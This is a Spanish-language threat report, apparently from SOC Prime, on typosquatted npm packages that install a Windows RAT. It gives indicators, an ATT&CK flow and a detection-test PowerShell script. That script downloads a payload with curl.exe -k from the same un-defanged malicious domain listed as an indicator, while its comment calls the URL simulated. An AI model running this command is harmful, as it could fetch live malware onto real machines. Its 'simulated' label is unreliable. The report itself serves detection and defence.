SOC Prime Bias: Alto

25 Jun 2026 15:41 UTC

PostCSS disfrazado como un camino para la entrega de RAT en Windows

Author Photo
SOC Prime Team linkedin icon Seguir
PostCSS disfrazado como un camino para la entrega de RAT en Windows
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Los atacantes están abusando de la suplantación de paquetes npm para difundir un RAT de Windows de varias etapas. Los paquetes maliciosos como postcss-minify-selector-parser se presentan como utilidades de construcción legítimas para comprometer entornos de desarrolladores. Una vez activada, la cadena de infección lanza un descargador de PowerShell que obtiene un RAT de Python compilado con Nuitka capaz de robar credenciales y proporcionar acceso remoto a la shell.

Investigación

Investigadores descubrieron un conjunto de paquetes npm maliciosos que hacen referencia a dependencias legítimas para aparentar credibilidad. La investigación trazó una cadena de infección en capas que comienza con un dropper de JavaScript, avanza a un descargador de PowerShell y termina con una carga útil basada en Python sofisticada. Al analizar los componentes compilados con Nuitka, los investigadores pudieron reconstruir el protocolo de comando y control del RAT y los comandos soportados.

Mitigación

Los usuarios deben eliminar de inmediato los paquetes npm maliciosos identificados y revisar los árboles de dependencias para cualquier exposición transitiva. Las organizaciones también deben bloquear los dominios y direcciones IP de comando y control conocidos. Si se sospecha de compromiso, los desarrolladores deben rotar las credenciales almacenadas en el navegador y todos los tokens relacionados con el desarrollo sin demora.

Respuesta

Los puntos de acceso de Windows deben examinarse en busca de artefactos como %TEMP%winPatch, %TEMP%.store, y %TEMP%.host. Los investigadores también deben revisar la persistencia en la clave de registro HKCURun para el valor csshost . Se debe realizar una auditoría completa de las estaciones de trabajo de desarrolladores para identificar actividades no autorizadas de shell remoto o signos de robo de credenciales.

"graph TB %% Class Definitions classDef technique fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef persistence fill:#99ff99 %% Node Definitions attack_supply_chain["<b>Tecnica</b> – <b>T1195.001 Compromiso de la cadena de suministro: Compromiso de dependencias de software y herramientas de desarrollo</b><br/><b>Descripción</b>: Suplantación de paquetes en npm a través de paquetes con nombres similares como postcss-minify-selector-parser.<br/><b>Objetivo</b>: Entornos de desarrolladores"] class attack_supply_chain technique attack_user_execution["<b>Tecnica</b> – <b>T1204.005 Ejecución de usuario: Librería maliciosa</b><br/><b>Descripción</b>: Activado cuando el paquete npm malicioso es importado.<br/><b>Acción</b>: Ejecuta un dropper de JavaScript codificado."] class attack_user_execution technique process_powershell["<b>Tecnica</b> – <b>T1059.001 Intérprete de comandos y scripting: PowerShell</b><br/><b>Descripción</b>: PowerShell se utiliza para escribir y ejecutar el script malicioso.<br/><b>Archivo</b>: ../../settings.ps1"] class process_powershell technique attack_indicator_removal["<b>Tecnica</b> – <b>T1070.010 Eliminación de indicador: Reubicar malware</b><br/><b>Descripción</b>: Usando un dominio engañoso para descargar la carga útil.<br/><b>Dominio</b>: nvidiadriver[.]net"] class attack_indicator_removal technique tool_cmd_shell["<b>Tecnica</b> – <b>T1059.003 Intérprete de comandos y scripting: Shell de comandos de Windows</b><br/><b>Descripción</b>: Utilizado para extraer el paquete de carga útil.<br/><b>Disparador</b>: Ejecución post-descarga."] class tool_cmd_shell technique malware_vbs_bootstrapper["<b>Malware</b> – <b>Bootstrapper VBS</b><br/><b>Descripción</b>: Lanza la carga útil principal de malware."] class malware_vbs_bootstrapper malware malware_rat["<b>Malware</b> – <b>Herramienta de acceso remoto (RAT)</b><br/><b>Descripción</b>: Cargador basado en Python que utiliza módulos compilados con Nuitka.<br/><b>Funcionalidad</b>: Proporciona capacidades de acceso remoto."] class malware_rat malware attack_persistence["<b>Tecnica</b> – <b>T1547.001 Ejecución de inicio o arranque automático: Claves de registro de ejecución / Carpeta de inicio</b><br/><b>Descripción</b>: Crea un valor de registro para persistencia.<br/><b>Valor de registro</b>: csshost"] class attack_persistence persistence attack_evasion["<b>Tecnica</b> – <b>T1497.001 Evasión de virtualización / sandbox: Comprobaciones del sistema</b><br/><b>Descripción</b>: Usa consultas WMI para detectar entornos virtuales.<br/><b>Comando</b>: wmic bios get serialnumber"] class attack_evasion technique attack_c2["<b>Tecnica</b> – <b>T1219 Herramientas de acceso remoto</b><br/><b>Descripción</b>: Mantiene comunicación con el servidor C2 a través de paquetes POST cifrados.<br/><b>Dirección C2</b>: hxxp[:]//95[.]216[.]92[.]207:8080"] class attack_c2 technique attack_credential_access["<b>Tecnica</b> – <b>T1555.003 Credenciales de tiendas de contraseñas: Credenciales de navegadores web</b><br/><b>Descripción</b>: Roba credenciales guardadas de Chrome.<br/><b>Archivos objetivo</b>: Login Data y Local State"] class attack_credential_access technique %% Conexiones attack_supply_chain –>|conduce_a| attack_user_execution attack_user_execution –>|ejecuta| process_powershell process_powershell –>|realiza| attack_indicator_removal attack_indicator_removal –>|dispara| tool_cmd_shell tool_cmd_shell –>|lanza| malware_vbs_bootstrapper malware_vbs_bootstrapper –>|instala| malware_rat malware_rat –>|establece| attack_persistence malware_rat –>|realiza| attack_evasion malware_rat –>|comunica_vía| attack_c2 malware_rat –>|exfiltra| attack_credential_access "

Flujo de Ataque

## Ejecución de Simulación

Prerequisito: La Comprobación de Telemetría y Base de Línea debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el texto narrativo DEBEN reflejar directamente las TTPs identificadas y apuntan a generar exactamente la telemetría esperada por la lógica de detección. Los ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.

  • Narrativa y comandos del ataque: El adversario pretende establecer una presencia en el sistema haciéndose pasar por un proceso legítimo de actualización de software. Para hacerlo, utilizan PowerShell para invocar la utilidad nativa curl.exe . Al usar la bandera -k (inseguro), evitan la validación de certificados SSL, y al especificar una ruta de destino en $env:TEMP con un nombre de archivo como winPatch.zip, intentan mezclarse con el ruido de las actualizaciones rutinarias del sistema. El objetivo es descargar una carga útil maliciosa que, una vez ejecutada, proporciona acceso remoto.

  • Script de Prueba de Regresión:

    # Script de simulación para activar la regla de detección específica
    # Nota: Esto utiliza una URL simulada por seguridad, pero imita la estructura exacta requerida por la regla.
    
    $cmd = 'curl.exe -k -o "$env:TEMPwinPatch.zip" https://nvidiadriver.net/verv1432/winpatch-xd7d.win'
    
    Write-Host "Ejecutando comando de descarga maliciosa simulada..."
    Invoke-Expression $cmd
  • Comandos de Limpieza:

    # Limpieza del archivo simulado descargado
    if (Test-Path "$env:TEMPwinPatch.zip") {
        Remove-Item -Path "$env:TEMPwinPatch.zip" -Force
        Write-Host "Limpieza exitosa: Archivo simulado removido."
    } else {
        Write-Host "Limpieza: Archivo no encontrado."
    }